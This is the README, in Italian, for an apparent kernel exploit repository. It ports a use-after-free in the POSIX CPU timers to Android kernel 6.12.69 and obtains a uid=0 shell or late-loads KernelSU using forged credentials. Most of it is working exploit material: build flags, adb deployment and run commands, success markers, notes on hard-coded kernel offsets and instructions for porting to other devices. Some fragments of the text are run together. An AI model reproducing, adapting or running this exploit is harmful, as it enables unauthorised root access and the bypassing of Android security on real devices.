
Exploit use-after-free del timer CPU POSIX del kernel Android per la versione 6.12.69 che ottiene una shell con uid=0 o il late-load di KernelSU tramite credenziali false.
Porting di CVE-2026-98260 POSIX CPU timer UAF per 6.12.69-android16-6-g242e1a07f878
Due catene:
timer: scrittura zero su cred reali → uid=0, u:r:shell:s0 (root nel dominio shell, bset caps)timer fake: cred fake (full caps) → late-load di libksud.so della versione installata di KernelSU| Percorso | Risultato |
|---|---|
cred reali scrittura zero + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
cred fake + ksud late-load | libksud.so della versione installata (uapi 6), KSU_LOADED, su come u:r:ksu:s0 |
u:r:shell:s0), può leggere tracefs e /proc/slabinfome.weishu.kernelsu), fake utilizzerà automaticamente il suo lib/arm64/libksud.soNDK 28.2 (aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnostica
adb shell /data/local/tmp/timer ids # rileva l'event id della pagina tracefs
adb shell /data/local/tmp/timer leak # esegue solo la fuga di base/cred/task, senza attivare la UAF
# shell uid-0 (cred reali)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh interattiva
# KernelSU (fake cred + ksud installato)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
Indicatore di successo di fake:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake, anche il processo padre viene parcheggiato, mantenendo la pagina fake cred tramite sockettimeout/kill sui processi parcheggiati, altrimenti il recupero del nodo stale da parte di init può causare un panictimer/timer.c exploit
timer/timer artefatto statico
tools/*.c sorgenti diagnostici di porting
Le costanti chiave sono codificate in timer/timer.c: i siti do_timer_create/copy_process, selinux_state, panic_on_warn, la dimensione della task cache di copy_process, i simboli init_*
Quando si cambia kernel, rieseguire la derivazione usando boot.img/BTF/kallsyms del dispositivo; i file in tools/ servono per verificare call site, raw record, timer leak e il canale di recupero AF_UNIX da 8 KiB
woshigenm/CVE-2026-98260 (MIT): trigger, zero-write su real-cred, idee fake cred/KSUghostlock-app: fase finale del late-load di KernelSU